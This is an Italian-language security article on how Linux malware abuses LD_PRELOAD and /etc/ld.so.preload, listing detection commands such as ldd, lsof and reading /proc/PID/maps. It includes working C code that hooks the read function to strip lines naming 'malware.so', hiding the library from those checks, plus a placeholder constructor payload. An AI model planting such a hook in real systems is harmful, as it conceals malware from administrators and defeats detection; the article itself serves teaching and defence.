Nel precedente articolo abbiamo esaminato come sia possibile modificare il comportamento di un programma caricando una libreria condivisa tramite la variabile d’ambiente LD_PRELOAD. Questo meccanismo, presente nei sistemi Linux e Unix-like, consente di caricare dinamicamente una libreria prima di qualsiasi altra specificata dal programma o dai suoi file di configurazione.
Grazie ad LD_PRELOAD, è possibile sovrascrivere o estendere le funzioni della libreria standard, permettendo così l’inserimento di funzionalità personalizzate o l’alterazione di comportamenti predefiniti.
In questo articolo approfondiamo ulteriormente come individuare l’uso di questo metodo e quali tecniche vengono adottate dai malware per evitare di essere rilevati.
Comandi Utili per Identificare Librerie Sospette
In questo paragrafo verranno illustrati alcuni comandi utili per individuare librerie potenzialmente malevole.
Creazione di una Libreria Condivisa Malevola
Prima di procedere con i test, implementiamo una libreria condivisa, come mostrato in questo articolo.
File: malware.c
#include <stdio.h>
#include <stdlib.h>
// Definiamo una funzione di inizializzazione personalizzata
void my_init() __attribute__((constructor));
void my_init() {
// CODICE PAYLOAD
}
Compilazione della libreria:
sudo gcc -fPIC -shared -o /usr/local/lib/malware.so malware.c
Caricamento della libreria tramite LD_PRELOAD:
export LD_PRELOAD=/usr/local/lib/malware.so
Comandi per il Rilevamento di Librerie Sospette
- ldd
Analizza le dipendenze di un eseguibile e mostra le librerie condivise caricate.
Comando:
ldd <nome_eseguibile>

- Lettura del file /proc/[PID]/maps
Se un programma è in esecuzione, è possibile verificare le librerie effettivamente caricate leggendo il file /proc/<PID>/maps, sostituendo <PID> con l’ID del processo.
Comando:
cat /proc/$$/maps
$$ è una variabile speciale che rappresenta il PID della shell attuale

- Verifica del file /etc/ld.so.preload
Nei sistemi Linux, il file /etc/ld.so.preload contiene un elenco di librerie condivise che vengono caricate automaticamente da ogni programma eseguito sul sistema. Ha un effetto simile alla variabile d’ambiente LD_PRELOAD, ma opera a livello globale.
In alternativa all’uso di LD_PRELOAD, è possibile aggiungere il percorso di una libreria condivisa in questo file. Tuttavia, questa operazione richiede privilegi di root.
Comando:
cat /etc/ld.so.preload

- Verifica del contenuto di LD_PRELOAD
Il primo passo per individuare eventuali librerie sospette è controllare il contenuto della variabile LD_PRELOAD, che potrebbe essere stata utilizzata per caricare librerie malevole.
Comando:
printenv LD_PRELOAD

Tuttavia, come già accennato, un malware potrebbe sfruttare il file /etc/ld.so.preload per caricare una libreria malevola. In questo scenario, la variabile LD_PRELOAD potrebbe apparire vuota, pur consentendo comunque l’esecuzione della libreria dannosa a livello di sistema.
- Uso di lsof
Il comando lsof permette di visualizzare i file aperti da un processo, incluse le librerie condivise in uso.
Comando:
lsof –p <PID>

Come nascondere malware.so da: ldd, /etc/ld.so.preload, cat /proc/[PID]/maps, e lsof
In questo paragrafo esploreremo come nascondere una libreria malevola da alcuni dei comandi precedentemente discussi. Immaginiamo di visualizzare i file /proc/[PID]/maps e /etc/ld.so.preload utilizzando il comando cat. Analizzando le funzioni invocate dai tali comandi (tramite objdump), notiamo che i comandi cat, lsof e ldd richiamano la funzione read. Questa funzione è una chiamata di sistema che permette di leggere i dati da un file descriptor. È una delle funzioni fondamentali per la gestione dell’I/O (input/output) nei programmi.

A questo punto, l’obiettivo è sovrascrivere il comportamento della funzione read. Per raggiungere questo scopo, abbiamo creato il seguente script:
New File: malware.c
#define _GNU_SOURCE
#include <dlfcn.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdlib.h>
// Definiamo una funzione di inizializzazione personalizzata
void my_init() __attribute__((constructor));
void my_init() {
// CODICE PAYLOAD
}
ssize_t read(int fd, void *buf, size_t count) {
static ssize_t (*real_read)(int, void *, size_t) = NULL;
if (!real_read) {
real_read = dlsym(RTLD_NEXT, "read");
if (!real_read) {
errno = ENOSYS;
return -1;
}
}
ssize_t result = real_read(fd, buf, count);
if (result <= 0) return result;
char *start = (char *)buf;
char *end = start + result;
size_t new_buf_pos = 0;
// Allocate a temporary buffer for filtered data
char *new_buf = malloc(result);
if (!new_buf) {
errno = ENOMEM;
return -1;
}
while (start < end) {
char *line_end = memchr(start, '\n', end - start);
if (!line_end) line_end = end;
size_t line_length = line_end - start + (line_end < end); // Include '\n' if present
if (!memmem(start, line_length, "malware.so", strlen("malware.so"))) {
memcpy(new_buf + new_buf_pos, start, line_length);
new_buf_pos += line_length;
}
start = line_end + (line_end < end); // Move to next line
}
memcpy(buf, new_buf, new_buf_pos);
free(new_buf);
return new_buf_pos;
}
Il codice intercetta la chiamata alla funzione read, legge i dati normalmente e poi rimuove eventuali righe contenenti la stringa “malware.so” prima di restituire il risultato.

Sebbene l’occultamento sui file /proc/[PID]/maps e /etc/ld.so.preload funzioni esclusivamente quando vengono aperti con il comando cat, questo scenario evidenzia quanto sia semplice da parte di un malware sovrascrivere il comportamento di una funzione per nascondere tracce di persistenza.

Conclusioni
I test effettuati mostrano come i malware possano sfruttare meccanismi legittimi, come LD_PRELOAD, per iniettare codice malevolo in un sistema Linux, riuscendo a eludere facilmente sia l’utente che gli strumenti di rilevamento. Attraverso il caricamento di librerie condivise, il malware può alterare il comportamento di un programma, aggirando le misure di sicurezza tradizionali. Il problema si complica ulteriormente quando impiegano tecniche di evasione, come la sovrascrittura della funzione read. In questo modo, riescono a occultare le proprie tracce, mettendo in evidenza l’urgenza di adottare soluzioni avanzate per il rilevamento e la protezione contro attacchi di questo tipo.






